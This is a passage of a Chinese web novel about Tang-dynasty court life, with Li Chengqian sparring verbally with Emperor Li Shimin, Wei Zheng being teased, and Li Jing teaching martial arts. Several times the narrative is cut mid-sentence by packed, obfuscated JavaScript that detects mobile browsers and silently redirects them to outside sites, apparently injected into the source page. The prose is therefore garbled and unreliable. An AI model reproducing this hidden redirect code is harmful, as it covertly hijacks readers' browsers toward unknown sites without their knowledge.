李承乾沉默片刻,道:“那样的话,陛下驾崩之日,就是臣与新太子一决生死之时。甚至陛下晚年,躺在病榻无力掌控全局时,臣就会和新太子死磕。匹夫无罪,怀璧其罪。无论谁为新太子,都不会允许秦王李承乾的存在。陛下要问为什么,当年的赵惠文王赵何与兄长安阳君赵章就是个很好的例子。” “杜荷朕不会动的,想怎么用是你的事情,侯君集朕自有考量。”李世民不想继续这个话题了,直接开门见山:“朕过来,还是为了高句丽的事情。朕就是想知道,后世之人打高句丽,是怎么打下来的?” 李承乾道:“陛下打残了高句丽之后,李治登基又派兵打了一次,这一次给打下来了。好景不长,灭高句丽的第二年,吐蕃联合突厥攻占安西四镇,朝廷被迫抽调大军回防。 与此同时,新罗又支持高句丽移……遗留的百姓复国,朝廷虽多次击败新罗,但迫于双线作战的压力,以及大非川惨败,十万唐军全军覆没带来的影响,只能对高句丽实施羁縻统治。 此后漠北突厥复国,东北契丹和西域突骑施汗国的崛起,边患威胁,朝廷就更无力统治高句丽地区了,安史之乱爆发,朝廷彻底失去对高句丽地区的统治,下一次将高句丽纳入版图的王朝要等四百多年。” 李世民扶额,整个身子往后靠。 “大非川惨败又是个什么事儿?” 李承乾道:“大非川之战就是吐蕃攻占安西四镇,大唐被迫出兵,首战薛仁贵打的吐蕃丢盔弃甲,攻占了乌海城,因粮草不足等待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432536|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后援。 负责大军后援的副将郭待封,自恃名门之后,不服主帅调遣,擅自率后队继进,未能及时与主帅会合。吐蕃军抓住战机,以二十万之众发动攻击,截断了唐军辎重粮草,唐军主力退守大非川,遭到吐蕃歼灭。 大唐开国以来对外作战中最大的一次失败,吐蕃凭此战一跃成为与大唐分庭抗礼的西部豪强。此战以后,朝廷撤销安西四镇建制,安西都护府迁至西州,吐谷浑并入吐蕃。此后唐蕃间冲突频,几乎连年用兵。” 李世民道:“这个吐蕃,简直可恶,可恶至极!那个安西四镇最后夺回来了吗?” 李承乾道:“二十多年后夺回来了。” “天呐!”李世民垂着凭几,嘴里不停的骂:“不肖子孙!不肖子孙!用人都不会用吗?用一个不听中军调令的人,李治脑袋里到底装了些什么东西!那个郭待封是个什么人物?” 李承乾道:“举人!” “能考上举人,这么不堪大用?” 李承乾闻言,道:“陛下,您猜一下中唐文人为什么发起古文运动?” 李世民道:“朕的大唐被祸害成这样,没兴趣猜,你直接说。” “六朝以来,文章讲究排偶、辞藻、音律、典故,就是骈文,骈文发展到最后内容空虚,华而不实,不适于用。郭待封的举人,文学水平有,但也仅仅是文学水平,其他的估计悬了。 中唐以后,国力衰弱,有志文人发起古文运动,主张文章效仿先秦,内容充实朴素,言必近真,希望通过文风改革,扭转国力倾颓的局面。” 李世民心里头好受多了,道:“有这样忠君体国之人,大唐必兴。” 李承乾:…… “朕记得贞观七年,让承乾写治国之道,承乾写了三张纸,你的文章内容就十分充实朴素。朕当时看完,同大臣们评价你的文章,先论刑狱为重,深得经邦之要,众大臣也是交口称赞。第二年三月,朕驾幸九成宫,承乾留京监国,到了九月还是承乾亲自到九成宫接朕回京的。承乾做太子时,朕是想去哪儿就去哪儿,那个时候……” “别说了!”李承乾微垂着眸子,往事入梦频繁,他实在不胜其烦。“臣不想听!” 第121章 挖苦魏征 李承乾进门,李世民就注意到李承乾双眸通红,两个眼睛种的核桃一样。 人在动情之处,最易被触动,李世民才提起他们最为和谐的那段过往。 “你身体不舒服吗?” 李承乾道:“骑马昭陵跑个来回,冷风吹的头疼。” 李世民憋着笑,就李承乾眼睛肿的那个样子,哭多了头疼,再吹了风只会加剧头疼。 “今日到这里,你颠簸一日好生歇息。你要的人。明日到东宫报到。” 话音未落,李世民径自往外走,李承乾忙从座上起身去送皇帝。 “下次别说朕爱哭,朕爱哭朕承认,光明正大的哭,总好过你一个人躲着哭。” 李承乾:…… 送走皇帝,李承乾揉了揉胀痛的两鬓,摁住自己脉搏算估测血压。 早知道会来到古代,他才不选什么数学类专业,肯定攻医学类专业。 心率没有太大问题,脉搏跳动的强度也还好,李承乾稍稍安心,这副身子可是有祖传心脑血管疾病的基因。 确定自己身体状况,李承乾回到主位上落座,研磨整理房遗直他们抄录下来的手稿。 今日不加班弄完,明天第二批临时帮忙的人到东宫,工作量一大他还是要加班。 此前以现代语文书古文学习的注解标准,重新排版《论语》《尚书》,等字典弄出来,他就完全把排版的工作甩出去。 没有字典可以查,弄不好是现实条件约束。有字典可查,再排版注解的不堪入目,就是另一回事了。听不懂好赖话,总能看得懂白刀子。 批假的第三日,魏叔玉来崇贤馆报到。 李承乾看到来人,心下大安,魏叔玉不用侍疾,说明魏征病愈了。 上朝的第一日,李世民看魏征似笑非笑的眼神,成功让魏征出了一身冷汗。 十三年君臣,李世民私下什么德行,魏征可太了解了,自恋,爱哭,小气,记仇。 李世民带太子探病,他倒药的黑料被魏叔玉抖落出去,不用想他都知道皇帝逮着机会肯定不忘挖苦。 “太子殿下当真巧思,把药藏在糕点里头,可让老臣少吃了不少苦头。殿下仁孝温厚,臣一个老师尚且能这般厚待,陛下教子有方,殿下侍奉父亲,必定更加尽心尽力,胜臣十倍。” 魏征并不知道李世民和李承乾剑拔**张,见面互怼的父子关系,从他对太子的印象分析出来的结果。 皇帝肯定要挖苦他,魏征决定在皇帝挖苦他之前,当着两仪殿议政的三省六部高官先夸一波李世民,满足李世民的自恋,先谈正事,他也就安全了。 李世民当然看出了魏征的心虚,也知道魏征奉承他,就是奉承的十分不得劲儿。 “那可不,朕教子有方,连带你这个老棺材瓤子跟着享福。” 李承乾不孝顺他是一回事,魏征面前,怎么都不能丢了份儿。 “你家魏叔玉,可没我家承乾出息。我家承乾不仅学问好,连算学也是佼佼者。” 皇帝在兴头上,在明确站队之后,房玄龄顺着李世民的话回答:“年节那份河南省的预算,可见太子殿下算学功底。臣听犬子说,皇孙不仅功课做的好,算学上天分也极高。陛下教子有方,教孙也是有道。” 李世民笑的十分得意,满是骄傲之色。 “朕的太子十二岁入朝听讼,十四岁开始监国,十五岁写出深得经邦之要的治国之道。太子十六岁时,朕与皇后去九成宫养病半年,太子监国,太子十七岁时,太上皇去世朕守孝,也是太子监国,将上下打理的井井有条。就问你们,你们要是病了或者守孝服丧,敢把手里的机要让你们儿子帮忙处理吗?” 众大臣都笑着附和,跟着皇帝一起夸太子。 皇帝那个嘚瑟,直接没眼看,魏征摸摸鼻子,要不是黑料在皇帝手里,他高低得问皇帝一句,这么满意太子,抬出来一个魏王干嘛? “还不止,朕的承乾设计新式犁铧,还走访京兆,勘察山川地理,上疏修筑水利灌溉工程,他画的工程图至今还在工部,那可是大唐未来工程图的标准。” 提到那个标准,新任工部尚书阎立德很扎心。 不行,太嘚瑟了,忍不了! 魏征举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432537|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了举笏板,直接开大:“所以,太子这么好,陛下做了什么,太子要求一个流放岭南的赏赐?” 李世民:…… “魏征,太子给你亲尝汤药,知道你倒药,为你费心把药做成糕点让你吃。平日里,有什么好吃的好玩儿的,少不了你一份,你别以为朕不知道。朕教子有方,你得了甜头,你说你就不能迁就着点儿朕?” 魏征道:“天地君亲师,君亲摆在师之前,您得到的肯定比臣更多,什么叫做臣得了甜头,好像您没得甜头似的。” 李世民:…… “你才做了他几天师傅,朕养了他多少年?再说了,你那点儿学问,你教的起承乾吗?让他跟你学什么?学你病倒在榻上,药吃一口倒一碗吗?” 魏征老脸一红,瞬间闭麦。 高士廉眉眼含笑,问魏征:“魏公除了醋芹之外,还有这个癖好啊?” 话递到嘴边,李世民哪里能放过魏征,当即接话:“玄成,你这一看就是**病了,药吃一口倒一碗,你是怎么活到这个岁数的?” 魏征板着脸道:“全靠命硬!” 有挖苦魏征的机会,他李世民怎么可能放过,继续捅刀子:“玄成,朕要你去编撰字典,你编撰的出来吗?” 魏征实事求是回答:“臣编撰不出来,后生可敬,后生可畏啊!” 李世民接着放大招:“你儿子参与字典编撰了,你回去还好意思说人家叔玉学问不精吗?” 在场众大臣笑容都僵住,一句话埋汰了一堆人。 魏征发出灵魂一问:“臣固然不能编撰字典,陛下,您能编撰字典?” 李世民哈哈一笑,早知道魏征会这么问他,当即道:“太子给字典取名《贞观字典》,贞观,朕的贞观,不是叫《魏公字典》,魏玄成你听清楚没?” 魏征:…… “朕的孙儿功课好也就罢了,还能自学《九章算术》,且不说你现在没有孙儿,就是魏叔玉给你生个孙儿,能和朕的孙儿这样聪慧好学吗?” 又有一堆人被埋汰,众大臣默默下定决心,回家加紧对后代的培养。 第122章 李靖试教 崇贤馆的官二代很痛苦,自家老爷子在前朝被皇帝埋汰了,不敢怼皇帝,回家之后压力全给到他们身上了。 休沐之日,众人天不亮就出了家门,寒风呼啸都留不住他们在家里多待片刻,集体在宫门外等着进宫。 崇贤馆给太子打下手,一群人有说有笑多好,自家老爹那个脸色,那是人能受得了的吗? 李靖起了个大早去东宫打卡,同李德謇一起出门,正好在宫门口遇到了等候的官二代。 “太子今日跟着老夫学拳脚,你们正好可以休沐,回家睡懒觉去,堵这儿干嘛?” 尉迟宝琳道:“卫公,您没让李老兄学算术?” 李靖不想说话,学算术?李德謇启蒙的算术他教的,几斤几两**吗? “学算术做什么?” 看李德謇算术,给他催命吗? 尉迟宝琳当即拜倒在地,扒拉着李靖的衣裳道:“卫公,要不您去跟我家老爷子说说,我跟您姓,从此您就是我亲阿耶!” 李靖:…… “老夫不收义子。” 李靖扒拉开尉迟宝琳,李德謇默默吐槽自家老爷子,父亲的义子是老虎,不,亲儿子都得排到义子后面。 魏叔玉道:“卫公您是不知道,家父病愈头一天上朝,就被陛下一通挖苦。” 李景恒道:“陛下挖苦魏侍中一个人,埋汰了一堆人,家父回去之后看到我们兄弟几个,张嘴就是不肖子孙。” 其他一众二代齐声附和,满眼皆是生无可恋。 尉迟宝琳一个滑溜起身,道:“还有三个月,大家忍忍,等字典编出来,回去摔老爷子脸上。” 李靖:…… 真是孝子,大孝子!这么一看李德謇实在太孝顺了,别的不说,李德謇不会把字典往他脸上摔,有这么个省心的儿子上辈子烧高香了。 宫门缓缓打开,众人分列两侧,自觉站到李靖身后。 李承乾穿戴整齐,一大早在显德殿候着。皇帝发话且李靖应下了,休沐日李靖肯定上门。 宫人来报卫国公求见,李承乾出显德门迎客,不管能不能学到东西,就说这大唐军神的分量,都足以李承乾亲自出门相迎。 打发了一众二代去崇贤馆,李承乾将人迎入显德殿,以学生的身份郑重一拜。 李靖一头雾水,不知道太子葫芦里卖的什么药。兵法有云:静观其变! “师傅,学生不谙武事。” 李靖道:“臣知道,殿下若深谙武事,陛下也不会请老臣来教殿下。” 李承乾道:“学生的意思是说,那些摔跤打斗之类的,臣不是很擅长。” 李靖道:“臣明白了,殿下只想学文的,不想学武的。” 李承乾点点头,道:“学生在武事上面没天分,陛下都不乐意教学生。” 李靖哈哈一笑,道:“陛下不是不乐意教殿下,以陛下的眼光,天下就没有人能让他教。” 李承乾笑笑,李靖还是不了解皇帝,天下还真有一人能让皇帝教。 “殿下放心,臣应陛下所托,自然全力教殿下。” 李承乾内心凄凄,回到古代,还要进行特种兵训练,夭寿了! “殿下这一身广袖长衫可不行,换圆领窄袖来。” 师傅发话了,李承乾只得吩咐宫人去取圆领窄袖的衣裳过来。 “师傅用过早膳吗?” “吃过了,殿下换了衣裳,咱们就去射场。” 李靖主打一个把领导指示贯彻到底,李承乾叹气,崇拜军神,但被占用的是他的休息日,且他没有体育和武术上的天分。 李承乾换完衣服,李世民老早就在射场等着了,二人上前拜见,李世民扶了一把李靖。 “闲来无事,朕也来活动活动筋骨,卫公不必拘谨。太子,该怎么教就怎么教,你是他的师傅,他要是不好好学,不打死打残了,随便卫公教训。” 李靖连声不敢,李承乾默默站在一侧看着两位军神拉扯。 众所周知,大唐三位军神:李世民、李靖、李世绩。 李世民和李靖拉扯完,进入李承乾的教学环节,李世民在不远处华盖下落座,慢悠悠品茶,观看李靖教李承乾。 “师傅,陛下他来看笑话的,您教的简单些。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15436241|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李靖道:“最简单的扎马步,是个人都能学好,陛下看不了什么笑话。” **成的男孩子都有一个武术梦,李承乾也不例外,他查过中国武术源流,无奈他没有这方面的天分,连太极都打的乱七八糟。 扎马步作为中国武术的根基功夫,起源非常的早,骑兵需在马上保持上稳定,双腿需要夹紧马鞍,腰部发力控制平衡,扎马步可模拟这一动作。 退一万步说,不当骑兵当步兵,持**进行作战,特别在对抗骑兵时,战术步伐需要通过半蹲姿势增强下盘稳定性,扎马步也是必修课。 李承乾没啥体育细胞,更不要武术细胞,马步扎得极烂,李靖看的心里闷腾腾的,这要是李德謇,他就上脚踹了。 李世民在远处喝茶,留李承乾用饭,少不得要准备李承乾爱吃的菜式,不好让人知道他一个皇帝,迁就李承乾的口味,索性说自己改口味了,跟着吃了三个多月清汤寡水,他渐渐习惯了喝清茶,吃清淡的饮食。 “这个不成器的孽障!” 看不下去了,李世民三步并作两步上前,李靖正在耐心指导李承乾动作纲领。 李世民可没有那个耐性,直接对李靖说:“卫公不必为难自己,看不下去就揍。” 李承乾憋了一肚子火,看向李世民,为什么他不带系统穿越,但凡有个系统,兑换项羽的武力值,他都要给皇帝见识下人间险恶。 “太子这表情很不服气,不服气就好好练,小胳膊小腿,浑身上下除了嘴,哪哪儿都是脆的,一碰就碎,朕都不敢亲自上手教。” 李承乾深吸一口气,李靖默默看着父子又要对上,直接拱手闪现到远处和张阿难站到一起。 “陛下倒是身强体壮,可惜看着牛高马大,一受气头疼到浑身散架。” 李世民气的咬牙,骂道:“兔崽子!你欠打!” 看到皇帝变了脸色,李承乾当即马步也不扎了,一头往李靖身边跑。 “师傅救命,陛下看不下去学生练武,要**了。” 李靖只能和稀泥,上前劝和,李世民不好说李承乾挖苦他,只能暂时忍下一口恶气。 第123章 太子詹事 眼看皇帝憋着气没处发,李承乾暗道痛快。 “卫公,你接着教。” 李靖拱手应声,继续让李承乾练习蹲马步。 李世民看着李承乾直叹气,想他自己这一身铜身铁骨,生了李承乾这么一个弱不禁风的小身板,连个马步都扎得没眼看,就觉得心累不已。 想过学生差,却没想过这么差,李靖很无奈,可这是皇帝的嘱托,教的还是皇帝的太子,差就差些吧! “殿下,君子有六艺,您平日里不练的吗?” 李承乾扎马步,折腾的满头热汗,道:“礼、乐、射、御、书、数,学生都会只是不精通,拳脚功夫,不在六艺之中啊!” “卫公,陪朕过两招呗?” 李靖:??? “就当是活动筋骨!” 话音未落,李世民率先发起进攻,李靖出手格挡接住攻势,稳住下盘,一记扫堂腿就过去了。 李世民跃身躲过,眨眼功夫一个转身,又是一拳过去,李靖侧身躲开,顺势握住李世民手腕。 大佬打架,吃瓜群众有福,李承乾目不转睛盯着场上你来我往的两位大佬,现场观战可比电视里看兵王过招有意思。 “李承乾,扎好你的马步,朕给你请来名师,你要是学不出个所以然,朕就请家法。” 好汉不吃眼前亏,李承乾认命扎好马步,眼睛仍然不离场上两位大佬。 李靖六十好几的年纪,同四十出头的李世民打的有来有回,李承乾不禁在李靖年轻的时候到底有多猛,天赋型选手就是厉害。 百十个回合过后,李靖体力不支稍落下风,李世民收回攻势。 “卫公老当益壮,风采依旧。” 李靖道:“陛下神勇,不减当年。” 李承乾两条腿酸胀的难受,回头看这两个人商业互夸,心里一万头草泥马呼啸而过。 “师傅,学生能不能歇一会儿。” 李靖看了眼李承乾,叹了口气道:“歇吧!” “瞧你这个体格,朕也不求你能像朕一样同卫公过招,至少强身健体,不至于骑个一日的马,就累得腿软。” 李承乾都不想吐槽,就皇帝和李靖过招的动作,随便哪一个要他做,放在现代社会,医保都能给刷爆了。 骑马跑一天,同开拖拉机行驶在崎岖的公路上跑一天有什么区别?他体格不行,随便拉个现代人颠一天,只是腿软都算身体好的。 李世民看着李承乾,恨铁不成钢道:“朕在武事之上,不敢说冠绝天下,那也能拿得出手,怎么就生了你这么个弱不禁风的儿子。” 来自于皇帝父亲的官方吐槽,李承乾很无语,他们一母同胞三个,哪个不是弱不禁风? “舅父挺儒雅的,外甥肖舅,臣估计随了舅父。” 外甥肖舅? 李世民眼睛眯了眯,道:“辅机只是看着儒雅,早年随朕出征,那也是冲锋陷阵的猛将。” 李承乾:…… “不指望你冲锋陷阵,强身健体,仅此而已。” 言罢,李世民转身离开,李靖友情提示:“陛下的气性还是这么大,殿下这句外甥肖舅,可是得罪人了。” 李承乾看着皇帝离开的背影,托词,皇帝爱信就信,他们兄弟三个,李治才是外甥肖舅,隐忍腹黑。 “陛下,是恨不能所有人哄着他,不过他是皇帝,有这个想法正常。” 李靖深不以为然,道:“是陛下在哄着殿下,陛下有风疾,活动筋骨可以在室内,不用跑这儿来吹风。大唐的皇帝,怎会会随便同臣下动手?同臣过招是假,哄着殿下玩儿是真。老臣斗胆猜测,殿下应该不止一次的夸过陛下的武功。” 李承乾陷入缄默,这个把月总是梦到从前的过往,那些几乎被遗忘的记忆。 母亲在世,父子尚未失和,父亲严厉,眼底却也能看到肯定与欣赏,不是厌恶和嫌弃。 自从揭破真相,皇帝不停的发来糖衣炮弹,母亲频频入梦,他的梦中不再是贞观十年后父子失和,他独自舔舐痛苦的噩梦。 血肉之躯,他又是有情之人,就怕哪天一个不慎,被皇帝的糖衣炮弹攻陷。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437225|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >过往的痛苦成了他千年的执念,他和皇帝的父子之情,就像三九天湿透的棉袄,穿也不是,脱也不是。 “师傅多虑,陛下心中的佳儿从来都不是承乾。” 李靖暗暗摇头,这对父子梁子结的不小。 “殿下继续练习马步,什么时候马步扎出个样子了,什么时候进行下一步教学。” 李承乾重新扎好马步,闭上眼睛,精神上强行格式化贞观七年之前的记忆。 吹了风,又跟李靖过了百十个回合,冷热交替之下,李世民的风疾又发作了,没有之前疼得那么厉害。 “阿难去东宫说一声,熬一些姜汤,太子回去了好喝,这么大冷的天出一身汗,别又病倒了。朕只给了他五个月的时间编写字典,一病又不知道要拖多久。” 张阿难经了天子诏命退出殿外,少时,宫人进来通报长孙无忌殿外候召。 李世民将人叫进来,直接开门见山:“叫你来为一件事情,东宫还缺一个太子詹事,你觉得谁能胜任?” 长孙无忌想毛遂自荐,又怕皇帝怀疑他存有异心。 “若说最好的人选,没有比百官之首的房玄龄更合适了。” 李世民长叹一口气,这就是他头疼的问题。 房玄龄倒向李泰,应了拜师宴的邀请,又公然缺席李承乾的拜师宴,也不提前给个话,害得李承乾白等,他事后对此事也是直接无视,让李承乾在朝野丢人现眼。 堂堂太子被一个大臣这么恶心,李承乾没借他的愧疚要求弄死房玄龄,没在他面前说房玄龄的坏话,没有在崇贤馆折腾房遗直,房遗则,已经大度了。 不知道内情,他把房玄龄安排给李承乾还说得过去,知道了内情,再任命房玄龄为东宫太子詹士,纯粹就是恶心李承乾。 “罢了,朕还是再去问问承乾的意思。太子詹事,总管东宫外务,总要合承乾的心意。” 李世民突然看向长孙无忌,万千滋味在心头,他都不忍杀了李承乾,长孙无忌和李治怎么忍心对李承乾下手? “辅机,你回去吧!” 第124章 军神坐谈 李承乾的身体素质,只能算亚健康,正常工作生活没问题,这种高强度锻炼,短时间内根本吃不消。 李靖也看出来了,午间放了李承乾回东宫,他则是往太极宫去拜见李世民。 吃了药又睡了一觉,李世民头风压了下去,正要命人摆膳,听闻李靖求见,遂让人传召李靖进殿一同用膳。 “承乾这孩子天分不高,让卫公见笑了。” 李靖道:“武事上天分的确不高,可文事和算术上,若说太子天分不高,陛下就埋汰人了。” 李世民笑道:“他那点儿事儿,闹的人尽皆知。” 李靖道:“陛下有所不知,您时常用太子殿下挖苦玄成公,急得不止玄成公一人,为人父母谁不希望儿女成材,如此一来就苦了房遗直、魏叔玉之辈。臣今日来东宫,在宫门外等候时,那群孩子一个接一个的诉苦,尉迟宝琳得知臣不迫德謇,直接跪倒在臣面前,要做臣的义子。” 李世民听罢,脸上满是骄傲的笑容,对李靖道:“有佳儿如此,朕心甚慰。” 李靖道:“鄂国公眼看自家儿子学不得文,就让尉迟宝琳学算术,这可苦了尉迟宝琳。他每天三更起身洗漱,赶在鄂国公起身之前出府。” 李世民叹道:“父母之爱子,则为之计深远。敬德出身贫寒,不通文字,乱世之中凭借一身武艺建功立业,盛世将军用处少,敬德为儿孙后路忧心。” “儿孙自有儿孙福,都是瞎操心,臣早年不明白这个道理,亲身试教,那不是教孩子,那是给自己催命,臣也就没那个心思了。” 李世民笑道:“卫公出身陇西李氏,属当今的大族,敬德的出身,连寒族都算不上,他自然要着急。” 李靖道:“急没急到点子上,急也没用。臣观那尉迟宝琳,颇有其父风范,往后还是做个冲锋陷阵的将军。” 这倒是句实话,也是他召尉迟宝琳入东宫任职的原因,只要尉迟宝琳忠于太子之心能像尉迟恭忠于他这般,那么尉迟恭身上右屯卫中郎将一职,假以时日就是尉迟宝琳的。 “照理说卫公这会子应该在东宫,过来可是为了教导承乾的事情?” 李靖道:“殿下身体本就康健,若只为强身健体,臣可以教太子打一套拳法。教了一早上,臣是看出来了,殿下在武事上天分不高,揠苗助长恐伤了殿下,陛下三思啊!” 李世民道:“如此,卫公就教承乾一套强身健体的拳法,卫公进宫或是承乾去卫公府上学都行,朕看承乾挺喜欢摸卫公养的那只寅将军。” 说到这里,李世民唤来宫人吩咐,去东宫通知李承乾午后练武取消,不用去射场等李靖了。 李靖道:“养来玩玩儿,打发时间罢了。太子殿下要是喜欢,臣联系故友,让他帮忙寻一只送入京。” 李世民笑道:“那日从卫公府上回来,朕看承乾喜欢寅将军,想着养一只给他玩儿,承乾推脱掉了。没说理由,但他那副德行朕还是知道的,养一只寅将军的耗费,他舍不得。” 李靖道:“这说明太子爱惜物力,太子这么多年行事,臣看得出来,太子不喜浮于表面的东西,喜欢能落在实处的东西,若太子一直是这个心性,那将会是社稷之福。” 李世民点点头,一点都没错,李承乾的心性不会变了,他现在要做的就是为李承乾建立未来治理的人员基础,尽可能扫除边患威胁,他万年之后,李承乾安心做一个盛世之君就行。 “高昌同薛延陀部多有勾结,臣服于我大唐又阳奉阴违,朕欲剿灭高昌,设西洲府驻兵屯粮,彻底打通西域,重新设都护府,驻兵防守。” 李靖道:“薛延陀部是北方的隐患,安西北方的突厥残部和南边的吐蕃是大唐西方的隐患,剿灭高昌国设西洲府,以西洲府为重镇,向北掣肘薛延陀部,向南压制吐蕃。若朝廷发兵攻打薛延陀部,西洲府驻扎的兵马北上,可以让薛延陀部陷入两线作战的困局,同时阶段薛延陀部他们入逃西域的后路。” 李世民点点头,听李承乾所述,李治一朝突厥复国,还被吐蕃侵吞国土。降而复叛,就不要怪他心狠手辣。不把隐患留给儿孙,才是好祖宗。 “卫公可愿再为大唐出征,卫公灭高昌,朕御驾亲征,高昌灭国以后,卫公率兵北上,同朕东西夹击,彻底剿灭薛延陀部。” 李靖道:“陛下要御驾亲征?不可啊!” 李世民道:“灭高昌是顺手的事情,一个薛延陀部朕和卫公二人打,杀鸡用牛刀,朕就是很多年没出去了,手痒。” 皇帝这个决定,多少有些随意,眼下皇帝在兴头上,进言皇帝多半不 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送走李靖,李世民命人抱来兕子,兕子想起年节下去东宫和李象一起玩过的烟花棒。 “阿耶,兕子想玩烟花棒。” 李世民沉默片刻,道:“乖女儿,烟花棒是什么?” 兕子道:“大兄给象儿的玩具,年节下我去东宫玩儿,象儿给我分了一些,可是我很快就全部都玩儿完了。” 宝贝女儿发话了,李世民抱起兕子道:“象儿有,咱们去找象儿要,象儿没有的话,要你大兄给你做。” 李世民到东宫,李承乾雷打不动的午休,李世民抬手制止了要去向李承乾报信的宫人,道:“让太子多睡会儿,别惊动太子,带朕去找皇长孙。” 李象午休才结束,正在宜春殿攻略《九章算术》,并不在崇贤馆,嫡母有妊,父亲要权衡他和嫡母以及嫡母腹中弟弟的关系,他粘着父亲只会让父亲为难,父亲是世间唯一真心疼爱他的人,他不愿让父亲为难,选择主动避嫌。 李世民没让人打扰,径直抱着兕子进院子,李象被一道算数题难到,聚精会神的盯着草稿纸上的内容,思考如何破题。 第125章 物欲 皇祖和皇姑来了,李象赶忙上前拜见,得知皇姑来意,他心中虽有不舍,仍然命人将仅剩的烟花棒全部给了皇姑。 李世民查过李象的算学题,也不禁感慨李象在算学上的天分,不过他仍然认为好男儿当以经邦治国为要,又查了李象的功课,也算是颇为出色的。 这算学学的,李象看着比李治都老成,李世民很不理解,这算学就非学不可? “兕子,你在这里同象儿玩儿,阿耶寻你大兄谈些正事。” 兕子点头应下,道:“阿耶去忙,我看象儿做算数题。” 累了一早上,李承乾午休延长了一刻钟时间,得知皇帝在显德殿等他,李承乾赶忙换了正装往显德殿见驾。 李承乾进殿见礼,坐到下首位置。 “东宫的太子詹事,想好人选了吗?” 李承乾道:“满朝文武,够分量担起这个职位的无非就那两个人,陛下随便安排一个就是。” 李世民道:“玄龄和辅机,你自己挑一个吧!” 李承乾思索片刻,问道:“陛下内心,希望臣挑舅父吧?” 李世民点点头道:“玄龄是大唐第一相,可他的分量不及辅机,为父知道你和辅机的龃龉,然眼下辅机是最好的人选,辅机在关陇的声望不可小觑。朕不惧他,可你坐稳帝位之前,需要他的扶持,不要轻易同辅机交恶。” 从射场回甘露殿,召见长孙无忌,李世民都险些没忍住动手了,他想问问长孙无忌,那么多年兄妹之情,是怎么下得去手杀自己妹妹最疼爱的孩子? “承乾,成大事者,要能忍一时之辱。” 李承乾道:“一开始臣的确有过杀心,那日去拜祭过母亲之后,臣彻底打消了这个想法,为了母亲,过往的种种,臣都只当已经过去了。他只要安心做他的国舅,别想太多,臣一根头发都不会动他。” “青雀、辅机、玄龄、于志宁等人你都放下了,不去追究他们的过往,甚至去年年节的宴会上,你的眼底朕还看到了对青雀的怜悯,为什么独独不肯原谅父亲?” 李承乾沉默良久,抬头对上皇帝的眼睛,道:“臣刚回来的时候,宫人们对象儿并不怎么上心,皇长孙也只是嘴上叫的好听,轻蔑和怠慢是一点都不少。可是现在不说东宫,就是出了东宫,也没人敢轻慢象儿。朝野内外,纵使看不上象儿的出身,见了面也得毕恭毕敬。陛下圣聪明断,应该知道这是为什么。” 李世民深吸一口气,就不该提起这个话题。 “陛下,你与臣之间的父子关系,于臣而言就像冬天被水浇透了的裘衣,穿也不是,不穿也不是。臣也不知道该如何抉择,您也跟着装装糊涂不行吗?” 这话题不能继续下去了,李世民道:“你给象儿那个烟花棒,兕子也很喜欢,少府监会做吗?” 唐初连烟花都没有,自然也不可能有烟花棒。 “象儿生辰,哄他玩儿的。兕子要是喜欢,臣将制作方法给少府监,做一些给兕子玩儿。陛下驾下百骑司,安插在京师的那些,应该有不少扮做商贾。权贵豪绅应该会喜欢这种新玩意儿,陛下不是想打薛延陀部吗?” 官员不能经商,皇帝和太子更不可以,但凡事都有操作的空间。养几个白手套,上位者不亲自下场,一样得利。 “大唐幅员辽阔,多少豪门世家,借此机会捞一把,私账变公账的理由臣都替您想好了,就说有一义商曾受陛下天恩,愿意捐献所得给朝廷,以报陛下天恩,陛下顺势给一个封赏,此后年年向朝廷捐献所得。朝廷官员看来,不过是一个有钱无权的商贾,生意做的太大树大招风,剑走偏锋寻求天家庇佑,以求生意长久。” 李承乾不敢乱来,是因为被朝野上下盯着,大臣们会装傻充愣,可皇帝万一哪天心情不爽,不愿意装傻充愣,那倒霉的就是太子。可皇帝是皇帝,皇帝干了这种事,就算被看破,也没几个敢上来送死。 “后世人,真会玩儿啊!” 李承乾笑道:“陛下,臣只是建议,您要是不愿意玩儿,那也就只是建议。” 